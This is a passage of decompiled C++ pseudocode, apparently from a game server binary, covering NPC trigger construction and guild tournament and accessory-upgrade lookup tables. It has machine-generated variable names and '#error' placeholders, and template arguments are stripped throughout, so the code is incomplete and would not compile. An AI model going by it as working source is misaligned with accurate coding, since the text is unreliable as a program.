= 0; LOBYTE(mobindex) = 0; } v14 = p; v39 = -1; if ( p ) { v15 = v25; for ( j = p; j != (void *)v15; j = (char *)j + 24 ) { v17 = *(_DWORD *)j; v21 = 0; (*(void (__thiscall **)(void *, _DWORD))v17)(j, 0); } operator delete(v14); } v18 = handle; p = 0; v25 = 0; v26 = 0; } while ( !_findnext(handle, &buffer) ); _findclose(v18); __security_check_cookie(v38); return v19; } //----- (005456E0) -------------------------------------------------------- unsigned int __thiscall NPCAction::TriggerGen_OptionReader::size(NPCAction::TriggerGen_OptionReader *this) { unsigned int result; // eax@1 result = (unsigned int)this->triggers_._Myfirst; if ( result ) result = (signed int)((char *)this->triggers_._Mylast - result) / 24; return result; } //----- (00545700) -------------------------------------------------------- #error "545700: undefined or illegal type '#331' (funcsize=26)" //----- (00545740) -------------------------------------------------------- unsigned __int16 __thiscall NPCAction::Trigger::notify(NPCAction::Trigger *this, #331 *_Func, #331 *a3, IObserver::Event happen, const unsigned int DwParam, const int SDwParam, unsigned int birth) { NPCAction::Trigger *v7; // esi@1 unsigned __int16 v8; // ax@2 unsigned __int16 v9; // bx@3 NPCAction::Trigger::doAction_ result; // [sp+18h] [bp-8h]@4 v7 = this; if ( this->condition_ ) { v9 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))this->condition_->baseclass_0.vfptr->notify)( _Func, a3, happen, DwParam, SDwParam, birth); if ( v9 & 1 ) std::for_each>::iterator_NPCAction::Trigger::doAction_>( &result, (std::vector >::iterator)v7->actions_._Myfirst, (std::vector >::iterator)v7->actions_._Mylast, (NPCAction::Trigger::doAction_)__PAIR__((unsigned int)a3, (unsigned int)_Func)); v8 = v9; } else { AssertClass::ac_AssertFail(&shineassert, "NPCAction::Trigger::notify : null condition_", 0); v8 = IObserver::notify(&v7->baseclass_0, _Func, a3, happen, DwParam, SDwParam, birth); } return v8; } //----- (005457F0) -------------------------------------------------------- #error "5457F0: undefined or illegal type '#331' (funcsize=75)" //----- (005458F0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00545960) -------------------------------------------------------- void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this) { this->condition_ = 0; this->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; this->actions_._Myfirst = 0; this->actions_._Mylast = 0; this->actions_._Myend = 0; } // 5D70E8: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (005459A0) -------------------------------------------------------- bool __thiscall NPCAction::Trigger::needToAttach(NPCAction::Trigger *this) { NPCAction::ICondition *v1; // eax@1 bool result; // al@2 v1 = this->condition_; if ( v1 ) result = ((int (*)(void))v1->baseclass_0.vfptr->needToAttach)(); else result = 0; return result; } //----- (005459C0) -------------------------------------------------------- NPCAction::Trigger *__thiscall NPCAction::TriggerGen_OptionReader::operator__(NPCAction::TriggerGen_OptionReader *this, NPCAction::Trigger *result) { int v2; // esi@1 char *v3; // ecx@1 int v4; // edi@1 v2 = this->currentRow_; this->currentRow_ = v2 + 1; v3 = (char *)&this->triggers_; v4 = *((_DWORD *)v3 + 1); if ( !v4 || (*((_DWORD *)v3 + 2) - v4) / 24 <= (unsigned int)v2 ) std::vector>::_Xran((std::vector > *)v3); NPCAction::Trigger::Trigger(result, (NPCAction::Trigger *)(v4 + 24 * v2)); return result; } //----- (00545A20) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, NPCAction::Trigger *_Val) { std::vector > *v4; // edi@1 NPCAction::Trigger *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00545A90) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, NPCAction::Trigger *_Val) { std::vector > *v2; // esi@1 NPCAction::Trigger *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 NPCAction::Trigger *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 2; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00545B20) -------------------------------------------------------- void __thiscall NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this, OptionReader *optionReader) { NPCAction::TriggerGen_OptionReader *v2; // ebp@1 const char *v3; // ecx@1 void *v4; // esi@3 const char *v5; // ecx@3 const char *v6; // edi@3 int v7; // ecx@8 unsigned int v8; // eax@10 NPCAction::ICondition *v9; // edi@13 int v10; // esi@20 unsigned int v11; // eax@22 int v12; // edi@25 NPCAction::ICondition **v13; // esi@30 const char *v14; // ecx@34 std::vector >::iterator v15; // edx@41 NPCAction::ICondition **v16; // ebp@41 unsigned int v17; // eax@41 unsigned int v18; // ecx@43 NPCAction::ICondition *v19; // edi@46 int v20; // esi@53 unsigned int v21; // eax@55 int v22; // edi@58 const char *v23; // ecx@67 void *v24; // eax@69 ORToken v25; // [sp-18h] [bp-58h]@3 int v26; // [sp-14h] [bp-54h]@3 int v27; // [sp-10h] [bp-50h]@3 int v28; // [sp-Ch] [bp-4Ch]@3 int v29; // [sp-8h] [bp-48h]@3 int v30; // [sp-4h] [bp-44h]@1 int lastConditionID; // [sp+10h] [bp-30h]@18 OptionReader **v32; // [sp+14h] [bp-2Ch]@1 int _Val; // [sp+18h] [bp-28h]@3 int (__thiscall **trigger)(void *, char); // [sp+1Ch] [bp-24h]@3 NPCAction::ICondition *v35; // [sp+20h] [bp-20h]@3 std::vector > thisa; // [sp+24h] [bp-1Ch]@3 int v37; // [sp+3Ch] [bp-4h]@1 int optionReadera; // [sp+44h] [bp+4h]@1 v2 = this; this->optionReader_ = optionReader; this->currentRow_ = 0; v32 = (OptionReader **)this; this->triggers_._Myfirst = 0; this->triggers_._Mylast = 0; this->triggers_._Myend = 0; v3 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; v37 = 0; optionReadera = 0; v30 = 0; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (int)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v2->optionReader_, v25, v30); trigger = &NPCAction::Trigger::_vftable_; v35 = 0; thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; v5 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; LOBYTE(v37) = 2; v6 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) { v6 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; v5 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; } _Val = (int)&v26; v30 = 0; v29 = 0; v28 = 0; v27 = 0; v26 = 0; strncpy((char *)&v26, v5, 0x14u); if ( OptionReader::or_SelectCountFrom(v2->optionReader_, *(ORToken *)&v26) <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid Table", v6); ShineExit("TriggerGen_OptionReader"); } v7 = *(_DWORD *)v4; if ( *(_DWORD *)v4 <= 0u || (conditionManager.container_._Myfirst ? (v8 = conditionManager.container_._Mylast - conditionManager.container_._Myfirst) : (v8 = 0), v7 > v8) ) v9 = 0; else v9 = conditionManager.container_._Myfirst[v7 - 1]; if ( v9 == 0 ) { v30 = *(_DWORD *)v4; AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid condition(0). ConditionID", v30); ShineExit("TriggerGen_OptionReader"); } v35 = v9; lastConditionID = *(_DWORD *)v4; while ( *(_DWORD *)v4 == lastConditionID ) { v10 = *((_DWORD *)v4 + 1); if ( (unsigned int)v10 <= 0 || (actionManager.container_._Myfirst ? (v11 = actionManager.container_._Mylast - actionManager.container_._Myfirst) : (v11 = 0), v10 > v11) ) v12 = 0; else v12 = (int)actionManager.container_._Myfirst[v10 - 1]; if ( v12 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid action(0). ActionID", v10); ShineExit("TriggerGen_OptionReader"); } v13 = thisa._Mylast; _Val = v12; if ( thisa._Myfirst && thisa._Mylast - thisa._Myfirst < thisa._Myend - thisa._Myfirst ) { *thisa._Mylast = (NPCAction::ICondition *)v12; thisa._Mylast = v13 + 1; } else { std::vector>::_Insert_n( &thisa, (std::vector >::iterator)thisa._Mylast, 1u, (NPCAction::ICondition *const *)&_Val); } v14 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; ++optionReadera; v30 = optionReadera; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v14 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (int)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v14, 0x14u); v4 = OptionReader::or_SelectFromOrder(v2->optionReader_, v25, v30); if ( !v4 ) goto LABEL_70; } do { if ( *(_DWORD *)v4 == lastConditionID ) { v16 = thisa._Myend; v15 = (std::vector >::iterator)thisa._Mylast; } else { std::vector>::push_back( &v2->triggers_, (NPCAction::Trigger *)&trigger); lastConditionID = *(_DWORD *)v4; if ( thisa._Myfirst ) operator delete(thisa._Myfirst); v15 = 0; v16 = 0; thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; v17 = *(_DWORD *)v4; if ( *(_DWORD *)v4 <= 0u || (conditionManager.container_._Myfirst ? (v18 = conditionManager.container_._Mylast - conditionManager.container_._Myfirst) : (v18 = 0), v17 > v18) ) v19 = 0; else v19 = conditionManager.container_._Myfirst[v17 - 1]; if ( v19 == 0 ) { v30 = *(_DWORD *)v4; AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid condition(1). ConditionID", v30); ShineExit("TriggerGen_OptionReader"); } v35 = v19; } v20 = *((_DWORD *)v4 + 1); if ( (unsigned int)v20 <= 0 || (actionManager.container_._Myfirst ? (v21 = actionManager.container_._Mylast - actionManager.container_._Myfirst) : (v21 = 0), v20 > v21) ) v22 = 0; else v22 = (int)actionManager.container_._Myfirst[v20 - 1]; if ( v22 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid action(1). ActionID", v20); ShineExit("TriggerGen_OptionReader"); } _Val = v22; if ( thisa._Myfirst && (signed int)(*(_DWORD *)&v15 - (unsigned int)thisa._Myfirst) >> 2 < v16 - thisa._Myfirst ) { **(_DWORD **)&v15 = v22; thisa._Mylast = (NPCAction::ICondition **)(*(_DWORD *)&v15 + 4); } else { std::vector>::_Insert_n( &thisa, v15, 1u, (NPCAction::ICondition *const *)&_Val); } v23 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; ++optionReadera; v30 = optionReadera; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v23 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (int)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v23, 0x14u); v24 = OptionReader::or_SelectFromOrder(*v32, v25, v30); v2 = (NPCAction::TriggerGen_OptionReader *)v32; v4 = v24; } while ( v24 ); LABEL_70: std::vector>::push_back( &v2->triggers_, (NPCAction::Trigger *)&trigger); LOBYTE(v37) = 0; if ( thisa._Myfirst ) operator delete(thisa._Myfirst); thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; IObserver::_IObserver((ItemSmallBag *)&trigger); } // 5D70E8: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (00545F80) -------------------------------------------------------- int __cdecl AccUpGradeInfoTable::GetRandomUpgradeValue(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber) { int result; // eax@2 signed int v4; // eax@3 int v5; // esi@5 int v6; // edi@5 int v7; // esi@7 int v8; // eax@8 if ( UpNumber <= 12 ) { v4 = isPlus; if ( isPlus >= 1u ) v4 = 1; v5 = ITableBase::ms_pkTable; v6 = v4 + 2 * id; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, v4 + 2 * id) && v6 <= *(_DWORD *)(v5 + 196) && (v7 = *(_DWORD *)(*(_DWORD *)(v5 + 192) + 4 * v6)) != 0 ) { v8 = *(_WORD *)(AccUpGradeInfoTable::Max_Variables[UpNumber] + v7) - *(_WORD *)(AccUpGradeInfoTable::Min_Variables[UpNumber] + v7); if ( v8 <= 1 ) v8 = 1; result = *(_WORD *)(AccUpGradeInfoTable::Min_Variables[UpNumber] + v7) + RandomBox::operator__(&rndbox, v8 + 1); } else { result = 0; } } else { result = 0; } return result; } // 1250D674: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (00546020) -------------------------------------------------------- int __cdecl AccUpGradeInfoTable::GetLimit(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber) { int result; // eax@2 signed int v4; // eax@3 int v5; // esi@5 int v6; // edi@5 int v7; // edi@7 if ( UpNumber <= 12 ) { v4 = isPlus; if ( isPlus >= 1u ) v4 = 1; v5 = ITableBase::ms_pkTable; v6 = v4 + 2 * id; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, v4 + 2 * id) && v6 <= *(_DWORD *)(v5 + 196) && (v7 = *(_DWORD *)(*(_DWORD *)(v5 + 192) + 4 * v6)) != 0 ) result = *(_WORD *)(AccUpGradeInfoTable::Limit_Variables[UpNumber] + v7); else result = 0; } else { result = 0; } return result; } // 1250D674: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (00546090) -------------------------------------------------------- int __thiscall AccUpGradeInfoTable::GetID(AccUpGradeInfoTable *this, AccUpGradeInfo *pkRecord) { unsigned __int16 v2; // ax@1 signed int v3; // eax@4 v2 = pkRecord->Success; if ( v2 >= 2u ) { AssertClass::ac_AssertFail(&shineassert, "AccUpGradeInfo::Success less 2 value:", v2); ShineExit("DWORD AccUpGradeInfoTable::GetID( AccUpGradeInfo* pkRecord )"); } v3 = pkRecord->Success; if ( (unsigned __int16)v3 >= 1u ) v3 = 1; return v3 + 2 * pkRecord->ID; } //----- (005460F0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl Table::GetTableDir() { return &strDirPath; } //----- (00546100) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Min(std::_Tree_nod >,std::less,std::allocator > *_Pnode) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 int i; // ecx@1 result = _Pnode; for ( i = *(_DWORD *)&_Pnode->baseclass_0.comp.baseclass_0.dummy[0]; !*(_BYTE *)(i + 33); i = *(_DWORD *)i ) result = (std::_Tree_nod >,std::less,std::allocator > *)i; return result; } //----- (00546120) -------------------------------------------------------- unsigned __int16 __cdecl GuildTournamentScoreTable::GetScore(int nType, int nMurder, int nVictim) { int v3; // ebx@3 unsigned int i; // esi@3 int v5; // eax@4 void *v6; // eax@6 if ( nVictim >= 7 ) AssertClass::ac_AssertFail(&shineassert, "GuildTournamentScoreTable::GetScore : No Script", 0); v3 = nMurder; for ( i = 0; ; ++i ) { v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v5 ) break; if ( i >= *(_DWORD *)(v5 + 40) ) break; v6 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v6 == nType ) { if ( !v3 ) return *((_WORD *)v6 + nVictim + 1); --v3; } } return 0; } // 1250D64C: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (00546190) -------------------------------------------------------- unsigned int __cdecl GuildTournamentOccupyTable::GetOccupyTime(int nType) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v3 == nType ) return *((_WORD *)v3 + 1); } AssertClass::ac_AssertFail(&shineassert, "GuildTournamentOccupyTable::GetOccupyTime : Not Find : %d", nType); return -1; } // 1250D654: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (005461F0) -------------------------------------------------------- unsigned int __cdecl GuildTournamentOccupyTable::GetScore(int nType) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v3 == nType ) return *((_WORD *)v3 + 2); } AssertClass::ac_AssertFail(&shineassert, "GuildTournamentOccupyTable::GetScore : Not Find : %d", nType); return 0; } // 1250D654: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (00546250) -------------------------------------------------------- GUILD_TOURNAMENT_SKILL *__cdecl GuildTournamentSkillTable::GetStateByIndex(int nType, int nNumber) { unsigned int i; // esi@1 int v3; // eax@2 GUILD_TOURNAMENT_SKILL *result; // eax@4 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; result = (GUILD_TOURNAMENT_SKILL *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( result->MAP_TYPE == nType && nNumber == result->Index ) return result; } return 0; } // 1250D658: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (005462A0) -------------------------------------------------------- unsigned int __cdecl GuildTournamentSkillTable::GetUseSkillCount(int nType, unsigned int Point) { unsigned int v2; // ebx@1 unsigned int i; // esi@1 int v4; // eax@2 void *v5; // eax@4 v2 = 0; for ( i = 0; ; ++i ) { v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v4 ) break; if ( i >= *(_DWORD *)(v4 + 40) ) break; v5 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v5 == nType ) { if ( *((_WORD *)v5 + 2) <= Point ) ++v2; } } return v2; } // 1250D658: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (005462F0) -------------------------------------------------------- char __cdecl GTIGetRateTable::GetItemIDbyProbabilityCalculate(bool IsAdvan, char Level) { char v2; // al@1 signed int v3; // ecx@3 int v4; // ebx@5 unsigned int v5; // ebp@5 int v6; // edi@5 int v7; // eax@6 void *v8; // eax@8 char *v9; // esi@8 v2 = Level; if ( (unsigned __int8)Level > 2u ) { AssertClass::ac_AssertFail( &shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Level Over Value :", (unsigned __int8)Level); v2 = 0; } v3 = 0; if ( IsAdvan == 1 ) v3 = 3; v4 = (unsigned __int8)v2 + v3; v5 = 0; v6 = rand() % GTIGetRateTable::AllProbability[v4]; while ( 1 ) { v7 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v7 ) break; if ( v5 >= *(_DWORD *)(v7 + 40) ) break; v8 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), v5); v9 = (char *)v8; switch ( v4 ) { case 0: v6 -= *((_BYTE *)v8 + 1); break; case 1: v6 -= *((_BYTE *)v8 + 3); break; case 2: v6 -= *((_BYTE *)v8 + 5); break; case 3: v6 -= *((_BYTE *)v8 + 2); break; case 4: v6 -= *((_BYTE *)v8 + 4); break; case 5: v6 -= *((_BYTE *)v8 + 6); break; default: AssertClass::ac_AssertFail( &shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Not Find enum : ", v4); break; } if ( v6 <= 0 ) return *v9; ++v5; } AssertClass::ac_AssertFail(&shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Probability error : ", v6); return 0; } // 1250D660: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; // 13ED2E48: using guessed type int GTIGetRateTable__AllProbability[]; //----- (005463F0) -------------------------------------------------------- bool __thiscall GTIGetRateTable::DataProcess(GTIGetRateTable *this) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 GTIGetRateTable::AllProbability[0] = 0; dword_13ED2E4C = 0; dword_13ED2E50 = 0; dword_13ED2E54 = 0; dword_13ED2E58 = 0; dword_13ED2E5C = 0; for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); GTIGetRateTable::AllProbability[0] += *((_BYTE *)v3 + 1); dword_13ED2E4C += *((_BYTE *)v3 + 3); dword_13ED2E50 += *((_BYTE *)v3 + 5); dword_13ED2E54 += *((_BYTE *)v3 + 2); dword_13ED2E58 += *((_BYTE *)v3 + 4); dword_13ED2E5C += *((_BYTE *)v3 + 6); } return 1; } // 1250D660: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; // 13ED2E48: using guessed type int GTIGetRateTable__AllProbability[]; // 13ED2E4C: using guessed type int dword_13ED2E4C; // 13ED2E50: using guessed type int dword_13ED2E50; // 13ED2E54: using guessed type int dword_13ED2E54; // 13ED2E58: using guessed type int dword_13ED2E58; // 13ED2E5C: using guessed type int dword_13ED2E5C; //----- (005464C0) -------------------------------------------------------- GTIBreedSubject *__cdecl GTIBreedSubjectTable::GetByIndexName(const char *pkIndexName) { unsigned int i; // ebp@1 int v2; // eax@2 void *v3; // edi@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( !strcmp(pkIndexName, (const char *)v3) ) return (GTIBreedSubject *)v3; } return 0; } // 1250D664: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (00546530) -------------------------------------------------------- #error "546530: undefined or illegal type '#331' (funcsize=20)" //----- (00546560) -------------------------------------------------------- void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator_Myval.second._Myfirst ) operator delete(this->_Myval.second._Myfirst); v1->_Myval.second._Myfirst = 0; v1->_Myval.second._Mylast = 0; v1->_Myval.second._Myend = 0; } //----- (00546590) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 546590: inconsistent function type and number of purged bytes // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00546600) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00546670) -------------------------------------------------------- void __cdecl Table::SetTableDir(const char *pkDir) { std::basic_string_std::allocator>::assign(&strDirPath, pkDir, strlen(pkDir)); } //----- (005466A0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl GuildTournamentMasterBuffTable::GetMasterBuff(std::basic_string,std::allocator > *result, int nType) { unsigned int i; // esi@1 int v3; // eax@2 void *v4; // eax@4 const char *v5; // ecx@6 int v6; // eax@6 int v7; // edi@6 char v8; // dl@7 std::basic_string,std::allocator > *v9; // eax@8 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 || i >= *(_DWORD *)(v3 + 40) ) { v9 = result; result->_Mysize = 0; result->_Myres = 15; result->_Bx._Buf[0] = 0; return v9; } v4 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v4 == nType ) break; } v5 = (char *)v4 + 2; v6 = (int)((char *)v4 + 2); result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; v7 = v6 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); std::basic_string_std::allocator>::assign(result, v5, v6 - v7); return result; } // 1250D65C: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (00546720) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GUILD_TOURNAMENT_LVGAP *const *_Val) { std::vector > *v4; // esi@1 GUILD_TOURNAMENT_LVGAP **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #331 **v16; // eax@25 GUILD_TOURNAMENT_LVGAP **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #331 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (GUILD_TOURNAMENT_LVGAP *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#331 **)(v20 - v23); v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#331 ***)&v21, v25, (#331 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator 